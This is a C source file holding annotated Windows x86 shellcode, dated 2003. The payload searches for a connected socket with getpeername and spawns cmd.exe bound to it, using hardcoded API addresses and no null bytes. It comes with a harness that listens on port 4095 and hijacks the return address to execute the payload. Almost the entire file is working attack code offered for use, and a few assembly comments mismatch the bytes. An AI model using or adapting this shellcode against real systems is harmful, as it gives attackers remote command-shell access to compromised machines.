// The Dark Raver <darkraver@t0s.org>
// 02/02/2003
// 172 bytes
// GETPEERNAME + CMD
// - Hardcoded API offsets
// - Without nulls
// - With ExitThread

#include <sys\types.h>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <io.h>
void salta(void);


char hell[]=

// ---- Inicializamos ----

"\x55"									/*		push   %ebp						*/
"\x89\xe5"								/*		mov    %esp,%ebp				*/
"\x66\x81\xec\x34\x12"					/*		subw    $0x258,%esp				*/

"\x31\xdb"                   			/*		xor    %ebx,%ebx				*/

// ---- Busqueda del socket ----

// x = 16;
// &x = 0xffffffe4(%ebp)

"\x89\x5d\xe4"							/*		mov    %ebx,0xffffffe4(%ebp)	*/
"\xc6\x45\xe4\x10"						/*		movb   $0x10,0xffffffe4(%ebp)	*/

// &serv_addr = 0xfffffde8(%ebp)

"\x31\xf6"								/*		xor    %esi,%esi				*/

// loop

"\x83\xc6\x04"							/*		add    $0x4,%esi				*/

// getpeername(i, (struct sockaddr *)&tdr, &x);

"\x8d\x45\xe4"							/*		lea    0xffffffe4(%ebp),%eax	*/
"\x50"									/*   	push   %eax						*/
"\x8d\x85\xe8\xfd\xff\xff"				/*		lea    0xfffffde8(%ebp),%eax	*/
"\x50"									/*   	push   %eax						*/

"\x56"									/*   	push   %esi						*/

// call getpeername = 0x71A3F628

"\xb8\x28\xF6\xA3\x71"                	/*		movl   $0x77E53C49,%eax			*/
"\xff\xd0"              				/*		call *%eax	*/

"\x39\xc3"								/*		cmp    %eax,%ebx				*/

"\x75\xe6"								// 		jnz loop

// &hSock=0xfffffe64(%ebp)

"\x89\xb5\x64\xfe\xff\xff"				/*		mov    %esi,0xfffffe64(%ebp)	*/

// ---- Lanzamiento de cmd.exe ----

// memset(&piProcInfo, 0, 16);
// &piProcInfo=0xfffffe48(%ebp)

"\x8d\xbd\x48\xfe\xff\xff"				/*		lea    0xfffffe48(%ebp),%edi	*/
"\x88\xd8"								/*		mov    %bl,%al					*/
"\x31\xc9"								/*		xor    %ecx,%ecx				*/
"\xb1\x16"								/*		mov    $0x16,%cl				*/
"\xf3\xaa"                				/*		repz stos 						*/

// memset(&siStartInfo, 0, 68);
// &siStartInfo= 0xfffffdf8(%ebp)

"\x8d\xbd\xf8\xfd\xff\xff"				/*		lea    0xfffffdf8(%ebp),%edi	*/
"\x88\xd8"								/*		mov    %bl,%al					*/
"\x31\xc9"								/*		xor    %ecx,%ecx				*/
"\xb1\x68"								/*		mov    $0x68,%cl				*/
"\xf3\xaa"                				/*		repz stos 						*/

//siStartInfo.dwFlags = 256 | 1;
//siStartInfo.wShowWindow = 0;
//siStartInfo.hStdOutput = hSock;
//siStartInfo.hStdError = hSock;
//siStartInfo.hStdInput = hSock;

"\x66\xc7\x85\x24\xfe\xff\xff\x01\x01"	/*		movw   $0x101,0xfffffe24(%ebp)	*/
"\x66\x89\x9d\x28\xfe\xff\xff"    		/*		mov    %bx,0xfffffe28(%ebp)		*/
"\x8b\x85\x64\xfe\xff\xff"				/*		mov    0xfffffe64(%ebp),%eax	*/
"\x89\x85\x34\xfe\xff\xff"				/*		mov    %eax,0xfffffe34(%ebp)	*/
"\x89\x85\x38\xfe\xff\xff"				/*		mov    %eax,0xfffffe38(%ebp)	*/
"\x89\x85\x30\xfe\xff\xff"				/*		mov    %eax,0xfffffe30(%ebp)	*/

// CreateProcess(0, "cmd.exe", 0, 0, 1, 0, 0, 0, &siStartInfo, &piProcInfo);

"\x8d\x85\x48\xfe\xff\xff"				/*		lea    0xfffffe48(%ebp),%eax	*/
"\x50"									/*   	push   %eax						*/
"\x8d\x85\xf8\xfd\xff\xff"				/*		lea    0xfffffdf8(%ebp),%eax	*/
"\x50"									/*   	push   %eax						*/
"\x53"                      			/*		push   %ebx						*/
"\x53"                      			/*		push   %ebx						*/
"\x53"                      			/*		push   %ebx						*/
"\x6a\x01"								/*   	push   $0x1						*/
"\x53"                      			/*		push   %ebx						*/
"\x53"                      			/*		push   %ebx						*/

// push &cmd.exe

"\xeb\x02"                   			/*		jmp +2							*/
"\xeb\x0d"								/*		jmp +13							*/
"\xe8\xf9\xff\xff\xff"          		/* 		call   -7						*/
"cmd.exe\x20"							/*		command string					*/

"\x53"                      			/*		push   %ebx						*/

// call CreateProcessA = 0x77E41BB8

"\xb8\xB8\x1B\xE4\x77"                	/*		movl   $0x77E41BB8,%eax			*/
"\xff\xd0"              				/*		call *%eax						*/

// call ExitThread = 0x77E53C49

"\xb8\x49\x3C\xE5\x77"                	/*		movl   $0x77E53C49,%eax			*/
"\xff\xd0"              				/*		call *%eax	*/

""; // TDR

DWORD main(int argc, char *argv[])
{
   SOCKET hSock;
   SOCKET hDes;
   PROCESS_INFORMATION piProcInfo;
   STARTUPINFO siStartInfo;
   struct sockaddr_in serv_addr;
   WSADATA info;
   int x;

x = 16;

WSAStartup(257, &info);

hDes=WSASocket(2, 1, 0, 0, 0, 0);

printf("%i\r\n", hDes);

serv_addr.sin_family = 2;
serv_addr.sin_port = 65295; // 4095
serv_addr.sin_addr.s_addr = 0;

bind(hDes, (struct sockaddr *)&serv_addr, 16);

listen(hDes, 5);

hSock = accept(hDes, (struct sockaddr *)&serv_addr, &x);

printf("%i\r\n", hSock);

printf("%d\n",strlen(hell));

salta();
}

void salta(void) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int)hell;
}